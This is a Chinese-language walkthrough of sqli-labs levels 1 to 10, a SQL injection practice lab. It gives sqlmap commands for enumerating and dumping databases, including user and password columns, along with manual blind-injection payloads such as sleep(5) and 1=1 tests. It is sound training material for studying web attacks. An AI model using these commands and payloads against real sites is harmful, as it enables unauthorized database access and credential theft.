sqlmap注入教程:https://www.cnblogs.com/ichunqiu/p/5805108.html
前五关直接可以用默认的sqlmap语法跑:
python sqlmap.py -u "http://xxxxx/x?id=1" --dbs(或者--current-db)
python sqlmap.py -u "http://xxxxx/x?id=1" -D database_name --tables
python sqlmap.py -u "http://xxxxx/x?id=1" -D database_name -T table_name --columns
python sqlmap.py -u "http://xxxxx/x?id=1" -D database_name -T table_name -C "id,user,password" --dumps
0x00 主要使用的语句
1:用于验证时间延迟型的盲注:?id=1’ and sleep(5) --+
2.用于判断布尔型盲注:?id=1’ and 1=1 --+ , ?id=1‘ and 2=1 --
sqlmap主要使用的语句:
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-8/?id=1 --technique B --dbms mysql --dbs --batch -v 0 或者 python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-8/?id=1" --technique B --current-db --batch
其中的—technique是为sqlmap中的注入技术,在sqlmap中其支持5中不同模式的注入
B:Boolean-based-blind (布尔型盲注) E:Error-based (报错型注入) U:Union query-based (联合注入) S:Starked queries (通过sqlmap读取文件系统、操作系统、注册表必须 使用该参数,可多语句查询注入) T:Time-based blind (基于时间延迟注入)
我们可以根据不同的报错提示更改—technique后面的字母
—dbms : 不仅可以指定数据库类型,还可以指定数据库版本 --batch: 用此参数,不需要用户输入,将会使用sqlmap提示的默认值一直运行下去。 -v 0参数只是为了更好的截图.
0x02 sqli-labs less-5、6
手工发现只能用报错注入,5关是单引号闭合,6关是双引号闭合
那么sqlmap语句:python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-5/?id=1" --technique E --dbs --batch
成功爆出数据库
0x03 sqli-labs less-7
这道题手工的话意思是叫我们用sql的写入命令:into outfile
正确回显一串不变的字符串,错误不报错误信息,因此可以用sqlmap跑盲注
语句:python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-7/?id=1" --technique B --current-db --batch
0x04 sqli-labs less-8
错误不回显报错信息,正确只回显一个固定的字符串,同样是一个布尔型盲注
跟第七关的payload一样:python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-8/?id=1" --technique B --current-db --batch
0x05 sqli-labs less-9、10
不管怎么样都不报错,也没有回显区别,不管对错一直显示一个固定的页面;
那么我们只有试着闭合,然后用测试语句“and sleep(5)”试一下,如果没猜出来闭合规则,那么我们直接放在sqlmap里面跑时间盲注;
这里用了闭合规则‘--+,里面跟and sleep(5)发现延时5秒,那么确定是时间盲注了。
sqlmap语句:python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-9/?id=1" --technique T --current-db --batch
第十关就是闭合规则是双引号而已,其他的一样